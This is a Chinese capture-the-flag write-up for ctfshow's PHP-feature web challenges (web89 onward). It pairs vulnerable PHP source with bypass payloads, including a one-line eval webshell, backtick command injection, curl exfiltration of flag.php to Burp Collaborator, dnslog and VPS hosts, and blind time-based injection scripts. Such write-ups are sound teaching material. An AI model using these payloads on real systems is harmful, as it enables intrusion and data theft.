ctfshow web入门 php特性

web89

intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

payload:

?num[]=1

web90

传参num强类型比较不等于4476,但经过intval后等于4476

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval函数base为0时,会根据数据类型判断进制,因此可以用十六进制绕过0x117c

经过测试4476a,经过intval后值也为4476

<?php
$num='4476a';
echo intval($num);//结果4476

payload:

?num=4476a
?num=0x117c

web91

正则匹配/m表示多行匹配,/i表示不区分大小写,因此可以通过换行让/m匹配第二行的php

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

payload:

?cmd=%0aphp

web92

强类型变成了弱类型比较,4476a就不能用了,但仍可以用十六进制绕过

?num=0x117c

web93

弱类型过滤了字母,16进制无法用了可以用8进制绕过

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload:

?num=010574

web94

strpos函数会检测0首次出现的位置,所以如果第一位是0,!0即1会执行die,所以无法使用常规的八进制绕过,可以用换行(%0a)、空格(%20)进行绕过,也可以小数点绕,因为intval()函数只读取整数部分(但必须在非首位有0以绕过strpos函数)

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

payload:

?num=%0a010574
?num=%20010574
?num=4476.20

web95

把.过滤了可以直接用上题的另外两个payload

web96

需要读取flag.php但过滤掉了可以加上./代表当前目录

<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload:

?u=./flag.php

web97

md5强类型比较
payload:POST传参

a[]=1&b[]=2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 //过滤数组时可以用md5碰撞绕过

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

涉及到了一个三目运算
$_GET?$_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替

$_GET[‘flag’]==‘flag’?$_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值

$_GET[‘flag’]==‘flag’?$_GET=&$_SERVER:‘flag’; //与上同理

$_GET[‘HTTP_FLAG’]==‘flag’?$flag:__FILE__ //如果GET传参HTTP_FLAG的值为flag则输出$flag
payload:

GET:a=1 //为了触发POST传参GET传任意值都可
POST:HTTP_FLAG=flag //GET=POST,因此POST传参,即实现$_GET['HTTP_FLAG']=='flag'

web99

array_push()向第一个参数的数组尾部添加一个或多个元素

in_array()函数搜索数组中是否存在指定的值。

array_push($allow, rand(1,$i)); //向$allow中插入一个随机值
in_array($_GET[‘n’], $allow)//检测n中是否有$allow的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

file_put_contents()函数的作用是把一个字符串写入文件中,因此可以通过POST传参一句话木马到1.php中

GET:?n=1.php
POST:content=<?php @eval($_POST[a]);?>

传参后访问1.php,并执行命令ls

最后cat flag36d.php即可

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }  
}
?> 

and和or的优先级低于"="所以v0的值取决于v1,只需要将v1的设为纯数字即可。
v2一定是用来执行命令的,提示中写到flag在ctfshow类中,最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);。
v3正则必须有;,可以v3=;作为v2语句的结束符
payload:

?v1=1&v2=echo new ReflectionClass&v3=;
非预期:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=?><?php echo `cat ctfshow.php`?>/*&v3=*/;
?v1=1&v2=system('cat ctfshow.php')&v3=-2;
?v1=1&v2=echo&v3=;system('cat ctfshow.php');

web101

过滤非预期中的符号,但仍可以用ReflectionClss输出

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

v4若想为1,只需v2是纯数字
php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(一句话木马的十六进制)也是可以识别为数字的;经过substr截取v2开头的0x,v1传hex2bin经过call_user_func将十六进制转为一句话木马,最后file_put_contents将一句话写入1.php即可
因此payload为

get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

但本题为php7版本因此v2的十六进制不再适用,要让v2均为数字,首先我们考虑v3写入1.php时,利用伪协议写入,然后利用base64编码后再转为十六进制为全数字的命令<?=`cat *`;getshell

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

因为要经过substr处理,所以v2前面还要补00
payload:

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web103

多过滤了php,用上题payload就能打通

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?> 

没限制v1!=v2,传一样值即可

GET:v2=q
POST:v1=q

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

考察点:变量覆盖
foreach会将传参过来的数据变量赋值给key,值赋值给value
一、通过die($error)
a=flag,经过变量覆盖$a=$flag,error=a,经过变量覆盖$error=$a=$flag,通过die($error)输出
二、通过die($suces)
(1)suces=flag,经过变量覆盖$suces=$flag,$_POST[‘flag’]=NULL;$flag=NULL,满足($_POST[‘flag’]==$flag),执行die($suces)

(2)suces=flag,经过变量覆盖$suces=$flag,flag=value,经过变量覆盖后$flag=$value,满足($_POST[‘flag’]==$flag),执行die($suces)
payload:

GET:a=flag POST: error=a //通过die($error)
POST:suces=flag&flag= //通过die($suces)
GET:suces=flag POST:flag=value //通过die($suces)

web106

数组绕过

GET:v2[]=1
POST:v1[]=2

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
} ?>

parse_str

parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] )
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

例如:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

v1传参flag=c4ca4238a0b923820dcc509a6f75849b后,经过parse_str,$v2[flag]=c4ca4238a0b923820dcc509a6f75849b == md5(1)
payload

GET:v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b(1的md5值)

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

ereg 可以用%00正则截断
正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
payload:

?c=a%00778

web109

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

php原生类
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=Exception&v2=system('cat fl*') 
?v1=Reflectionclass&v2=system('cat fl*')
?v1=ReflectionMethod&v2=system('cat fl*')

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

php原生类
FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/,获取路径后直接访问得到flag
payload:

?v1=FilesystemIterator&v2=getcwd

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }  
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    } 
}
?>

正则匹配V1中有ctfshow的话,执行getFlag( v 1 , v1, v1,v2),将v2的值变量覆盖给v1
如果输出$GLOBALS就能输出全部变量
payload

?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} ?>

不能让is_file检测出是文件,并且 highlight_file可以识别为文件,用php伪协议
可以直接用不带任何过滤器的filter伪协议
payload:

php://filter/resource=flag.php		不带任何过滤器的filter
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
compress.zlib://flag.php		//压缩流

web113

这次吧filter也过滤了,可以用上题的压缩流payload,或者用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,这里得重复最少21次来绕过
payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
?file=compress.zlib://flag.php

web114

禁用root和compress,上题payload无法使用,但没过滤php,和filter
payload:

?file=php://filter/resource=flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}?>

trim()函数会移除字符串两侧的空白字符或其他预定义字符。若未预定义字符会移除

" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\x0B" (ASCII 11 (0x0B)),垂直制表符。

通过羽师傅脚本跑出%0c(换页符可用),可绕过弱类型比较和trim()

<?php
for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
//%0C (换页符)

payload:

?num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

要求必须传参CTF_SHOW.COM,但PHP变量名应该只有数字字母下划线,若出现类似.字符会被转化为下划线,但有一个特殊字符[,它本身会变成下划线,而[后边的内容不会被转化即CTF[SHOW.COM =>CTF_SHOW.COM,另外要求不能传参fl0g,但fl0g等于flag_give_me才能输出flag,因此本题突破口是通过eval直接输出flag
payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

较上题过滤了echo等输出的函数,因此不能通过eval输出flag,要用到$a=$_SERVER[‘argv’];使$fl0g===“flag_give_me”

1、cli模式(命令行)下
	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用

$a[0]即$_SERVER[‘argv’][0]= $_SERVER[‘QUERY_STRING’](获取url中?后的部分),这时我们要做的是通过eval(“$c”.“;”);为$flag赋值flag_give_me,即:
eval(eval($flag=flag_give_me).; ),将flag赋值后即可通过if判断输出flag
$_SERVER

$_SERVER["QUERY_STRING"]  获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"]   获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"]   获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"]      当前正在执行脚本的文件名
http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI']  = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

payload:

GET:$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
其它解
GET:?1=flag.php
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
预期解应该是下面这个,通过+对于传递的参数进行分割argv,再利用parse_str:把查询的字符串解析到变量中
GET: ?a=1+fl0g=flag_give_me
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web126

同上题

web127

过滤了大部分符号,但没过滤空格,可以通过空格转义下划线绕过
payload:

?ctf show=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

gettext扩展
gettext(“phpinfo”)等同于phpinfo()
在开启该拓展后 _() 等效于 gettext()
所以call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo

gettext:可以实现多国语言显示,假如你的国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。

get_defined_vars

get_defined_vars(void):array,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

?f1=_&f2=get_defined_vars
即:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}?>

利用phpfilter伪协议,其中伪协议无效的话就会被过滤或进行目录穿越
payload:

?f=php://filter/convert.base64.encode | ctfshow/resource=flag.php
?f=/ctfshow/../../var/www/html/flag.php

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
} 

正则只要ctfshow前边无任何字符就可以
payload:

POST:f=ctfshow

web131

回溯次数绕过
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests
url = 'http://aacab7f5-47c5-40dd-a436-6c1a2d6dd422.challenge.ctf.show/'
payload = {
    'f':'a'*1000000+'36Dctfshow'
}
r = requests.post(url=url,data=payload)
print(r.text)

web132

访问robots.txt,提示/admin,访问后得到源码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
        } 
    }
}

&&的优先级高于||的优先级,所以只要username=admin为真值,code=admin输出flag

?code=admin&username=admin&password=1

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
传参F过滤了命令执行函数,并且eval只会执行F的前六位字符的命令,如果我们传递的参数就是$F本身,就能实现变量覆盖

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
这样就在服务器上成功执行了 sleep 3

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG)
使用方法


也可以使用DNS外带

还可以用vps监听
nc -lvvp 4000

-X 定义请求方式 -F 模拟表单提交
?F=`$F`;+curl -X POST -F xx=@flag.php%20 o4tdm5jc8ql4diowmh1leponwe24qt.burpcollaborator.net //Collaborator Client 
?F=`$F `;curl `cat flag.php|grep "flag"`.u4ofhz.dnslog.cn  //DNS外带
?F=`$F `;curl -X POST -F xx=@flag.php 49.xx.xx.xx:4000 //vps监听

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

@parse_str($_SERVER[‘QUERY_STRING’]);会获取?后的内容,并将其转换为数组
extract($_POST);可以将数组的键和值分别变为变量和值

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

经测试如果传参?_POST[‘a’]=123输出结果就为:array(1) { [“‘a’”]=> string(3) “123” },在经过extract()函数就变为$a==123
因此传参?_POST[key1]=36d,经过前两个函数后会变为key1=36d
payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}?>

在133的基础上过滤了curl等函数
可以用cp或mv等命令将flag的内容外带到1.txt中,再访问1.txt即得到flag
payload

?F=`$F `;cp flag.php 1.txt
?F=`$F `;mv flag.php 1.txt
?F=`$F `;nl flag.php>1.txt
?F=`$F `;uniq flag.php>1.txt;

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

linux中可以用tee命令写文件,将ls后的结果写到a中,访问a发现f149_15_h3r3
在这里插入图片描述
cat /f149_15_h3r3写到b中访问b得到flag
payload:

?c=ls /|tee a
?c=cat /f149_15_h3r3|tee b

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

考察::使用,::可以不用实例化类就可以直接调用类中的方法

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

payload:

ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']);

call_user_func可以传数组
call_user_func(array(ctfshow, ‘geFlag’));就相当于调用了ctfshow类的getFlag方法
payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

虽然没有过滤tee,但用tee写完文件后,无权限访问了,因此只能写脚本盲打
但盲注的话,需要截取字符逐一比较,并且截取后需要进行相等判断,因此就需要awk和cut命令进行截取,if和sleep函数进行判断
awk逐行获取

cut单字符获取
sif sleep控制判断
脚本

import requests
import time
import string
str=string.ascii_letters+string.digits+'_'+')'
result=""
for i in range(1,15):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://5a9ea5c0-418d-4bb1-bc92-808e38b37208.challenge.ctf.show/?c="+payload
			try:
				requests.get(url,timeout=(2.5))
			except:
				result += n
				print(result)
				break
			if n==')':
				key=1
	result+=' '

跑出当前目录的所有文件,发现f149_15_h3r3

脚本跑出flag

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for j in range(1,45):
	for n in str:
		payload="if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://5a9ea5c0-418d-4bb1-bc92-808e38b37208.challenge.ctf.show/?c="+payload
		try:
			requests.get(url,timeout=(2.5))
		except:
			result += n
			print(result)
			break

由于{}被过滤掉了,因此盲注时无法判断并输出{},提交flag时加就好

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}
?>

intval函数会将非数字转换成0而弱类型比较也会将字符串转换为0,因此’ctfshow’==0,所以本题只需要eval能够正常执行出命令给$code即可
payload:

有很多不一一列举了
f1=md5&f2=sleep
f1=md5&f2=phpinfo
f1=current&f2=localeconv
f1=usleep&f2=usleep
f1=md5&f2=md5

web141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

正则匹配\W匹配任意不是字母,数字,下划线,汉字的字符,因此需要用无字母绕过v3正则判断

php中数字可以和命令进行一些运算,比如1-phpinfo()-1输出的还是phpinfo()

所以这里可以1-system(‘tac f*’)-1得到flag(不知道为什么不能用或运算和cat只能用tac命令)

payload:

?v1=1&v2=2&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a");
-

web142

$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d); 

会sleep $v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d秒,因此只需要传参v1=0即可绕过sleep()函数
payload:

?v1=0

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
